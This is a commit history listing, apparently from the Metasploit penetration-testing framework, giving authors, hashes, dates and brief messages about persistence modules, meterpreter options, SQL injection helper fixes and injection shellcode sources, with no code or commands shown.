add spec for linux user lib
2025-07-15 20:38:32 +00:00
h00die
83a6e82603
Update lib/msf/core/post/linux/user.rb
...
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com >
2025-07-15 16:29:22 -04:00
h00die-gr3y
f6e0c43ed9
init module
2025-07-15 19:06:00 +00:00
Umut
a412070a12
Create download_exec.rb
2025-07-15 16:50:59 +03:00
Chocapikk
c45481fa58
fix: guard get_sqli_object JSON extraction to avoid NoMethodError
2025-07-12 15:12:02 +02:00
Chocapikk
9aef758c31
fix: abort run when get_sqli_object returns error constant
2025-07-12 15:09:05 +02:00
Chocapikk
869ed8d818
fix: replace return with next in get_sqli_object to prevent LocalJumpError
2025-07-12 15:00:57 +02:00
h00die
f9a804d649
persistence libraries
2025-07-11 17:35:06 -04:00
Corey
0f7aafa48e
Add session platform, apply Rubocop changes
2025-07-10 14:09:44 -04:00
Corey
0f0ca54e6c
Remove get_python method
2025-07-10 11:57:06 -04:00
Corey
2351a6a9bc
Minor changes to options, add documentation
2025-07-08 13:30:22 -04:00
Corey
8a8e3a3047
Rubocop changes
2025-07-08 13:01:09 -04:00
Corey
c9d41be766
Add authors, print cleanup, rename vars
2025-07-08 13:00:15 -04:00
gardnerapp
d694c27119
Update modules/exploits/multi/local/periodic_script_persistence.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-07-08 10:54:08 -04:00
gardnerapp
d2c7ac8d51
Update modules/exploits/multi/local/periodic_script_persistence.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-07-08 10:53:47 -04:00
gardnerapp
52acc15a51
Update modules/exploits/multi/local/periodic_script_persistence.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-07-08 10:53:28 -04:00
gardnerapp
b3e16e9c47
Update modules/exploits/multi/local/periodic_script_persistence.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2025-07-08 10:52:58 -04:00
Martin Sutovsky
5f1ff38293
Adds check for version negotiation response
2025-07-08 07:27:32 +02:00
Isaac
1db87f1501
fix-issue-19384
...
Resolve issue 19384 where msfvenom was unable to be run outside of the metasploit working directory.
2025-07-04 14:02:20 -04:00
Corey
e465720a3c
Rubocop changes
2025-07-01 14:36:20 -04:00
Corey
a66d60bf76
Move module to multi, add get_python method
2025-07-01 14:34:51 -04:00
Corey
a5e30153e8
Add default arch_cmd target
2025-06-06 12:06:17 -04:00
dledda-r7
5e3e975b7d
fix: renaming Osx to OSX for autoload support
2025-06-02 09:22:46 -04:00
dledda-r7
c4ca4d6999
fix: re-include OSX specific option
2025-06-02 08:14:59 -04:00
dledda-r7
70bafdfcd8
fix: delete of meterpreter_options.rb
2025-06-02 08:07:14 -04:00
dledda-r7
e4bc2a6528
fix: changed MeterpreterOptions to be platform-specific in pivot
2025-06-02 08:07:14 -04:00
dledda-r7
dd23be9695
fix: modified meterpreter_reverse template for platform-specific MeterpreterOptions
2025-06-02 08:07:13 -04:00
dledda-r7
e44043b88a
fix: restored deleted comments
2025-06-02 08:07:13 -04:00
dledda-r7
a7f4da5431
feat: split platform-specific meterpreter options on different modules, adding AutoLoadExtensions option (AppleIos,Php,Python,Java,Osx,Android)
2025-06-02 08:07:06 -04:00
dledda-r7
44617cbe37
feat: split platform-specific meterpreter options on different modules, adding AutoLoadExtensions option (Windows, Linux)
2025-06-02 08:06:05 -04:00
Corey
aa99015403
Rubocop and review changes
2025-04-22 13:36:59 -04:00
Corey
f991843b81
Remove file from accidental commit
2025-04-20 15:56:01 -04:00
Corey
c08790c837
add module
2025-04-20 15:53:59 -04:00
Corey
e61b83912c
Fix initialize, add cleanup script, make perioidc script executable
2025-04-20 15:53:59 -04:00
Corey
3fee2b6684
Add writing payload and periodic script
2025-04-20 15:53:59 -04:00
Corey
d5556efab3
Start basic module scaffold
2025-04-20 15:53:59 -04:00
dledda-r7
98f0183805
fix(sources): fixed poolparty stub to graceful exit after callback
2024-09-25 08:10:53 -04:00
dledda-r7
3a4b5eb372
feat(sources): including shellcodes used during pool-party injection
2024-09-25 05:14:58 -04:00